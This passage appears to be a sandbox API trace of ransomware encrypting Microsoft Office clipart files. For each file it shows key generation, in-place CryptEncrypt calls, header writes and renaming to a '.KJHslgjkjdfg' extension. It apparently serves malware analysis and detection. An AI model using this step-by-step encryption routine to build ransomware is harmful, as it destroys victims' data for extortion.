dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.294] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.295] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe20, lpOverlapped=0x0) returned 1 [0206.295] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe20, dwBufLen=0xe20 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe20) returned 1 [0206.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.295] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe20, lpOverlapped=0x0) returned 1 [0206.295] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.295] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.295] SetEndOfFile (hFile=0x130) returned 1 [0206.298] GetProcessHeap () returned 0x2ef0000 [0206.298] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.298] GetProcessHeap () returned 0x2ef0000 [0206.298] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.298] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.kjhslgjkjdfg")) returned 1 [0206.299] CloseHandle (hObject=0x130) returned 1 [0206.299] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x103e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304405.WMF", cAlternateFileName="")) returned 1 [0206.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.301] GetProcessHeap () returned 0x2ef0000 [0206.301] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.301] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0206.304] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.305] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.305] GetProcessHeap () returned 0x2ef0000 [0206.305] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.305] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.305] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.305] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.305] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.305] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.305] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.305] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.306] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.306] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.306] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x103e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x103e, lpOverlapped=0x0) returned 1 [0206.307] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1040, dwBufLen=0x1040 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1040) returned 1 [0206.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.307] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1040, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1040, lpOverlapped=0x0) returned 1 [0206.307] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.307] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.307] SetEndOfFile (hFile=0x130) returned 1 [0206.310] GetProcessHeap () returned 0x2ef0000 [0206.310] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.310] GetProcessHeap () returned 0x2ef0000 [0206.310] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.310] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.kjhslgjkjdfg")) returned 1 [0206.312] CloseHandle (hObject=0x130) returned 1 [0206.312] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56726050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4a0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304853.WMF", cAlternateFileName="")) returned 1 [0206.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.313] GetProcessHeap () returned 0x2ef0000 [0206.313] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.313] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.313] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.313] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0206.316] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.316] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.316] GetProcessHeap () returned 0x2ef0000 [0206.316] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.316] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.316] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.316] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.316] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.316] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.316] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.316] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.316] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.316] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.317] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.317] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.317] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4a0e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4a0e, lpOverlapped=0x0) returned 1 [0206.318] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4a10, dwBufLen=0x4a10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4a10) returned 1 [0206.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.319] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4a10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4a10, lpOverlapped=0x0) returned 1 [0206.319] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.319] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4ae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.319] SetEndOfFile (hFile=0x130) returned 1 [0206.325] GetProcessHeap () returned 0x2ef0000 [0206.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.325] GetProcessHeap () returned 0x2ef0000 [0206.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.kjhslgjkjdfg")) returned 1 [0206.327] CloseHandle (hObject=0x130) returned 1 [0206.327] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66162910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2cf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304861.WMF", cAlternateFileName="")) returned 1 [0206.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.329] GetProcessHeap () returned 0x2ef0000 [0206.329] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.330] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.330] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.330] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.332] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.332] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.332] GetProcessHeap () returned 0x2ef0000 [0206.332] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.332] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.332] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.332] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.332] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.333] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.333] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.333] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.333] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.333] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.333] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2cf8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2cf8, lpOverlapped=0x0) returned 1 [0206.334] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d00, dwBufLen=0x2d00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d00) returned 1 [0206.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.335] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d00, lpOverlapped=0x0) returned 1 [0206.335] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.335] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2dd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.335] SetEndOfFile (hFile=0x130) returned 1 [0206.338] GetProcessHeap () returned 0x2ef0000 [0206.338] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.338] GetProcessHeap () returned 0x2ef0000 [0206.338] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.338] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.kjhslgjkjdfg")) returned 1 [0206.340] CloseHandle (hObject=0x130) returned 1 [0206.340] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5674c1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4f8e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0304875.WMF", cAlternateFileName="")) returned 1 [0206.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.342] GetProcessHeap () returned 0x2ef0000 [0206.342] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.342] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.342] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0206.406] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.406] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.406] GetProcessHeap () returned 0x2ef0000 [0206.406] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.406] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.406] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.406] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.407] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.407] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.407] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.411] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.411] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.411] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.411] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.412] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.412] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4f8e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4f8e, lpOverlapped=0x0) returned 1 [0206.422] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f90, dwBufLen=0x4f90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4f90) returned 1 [0206.422] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 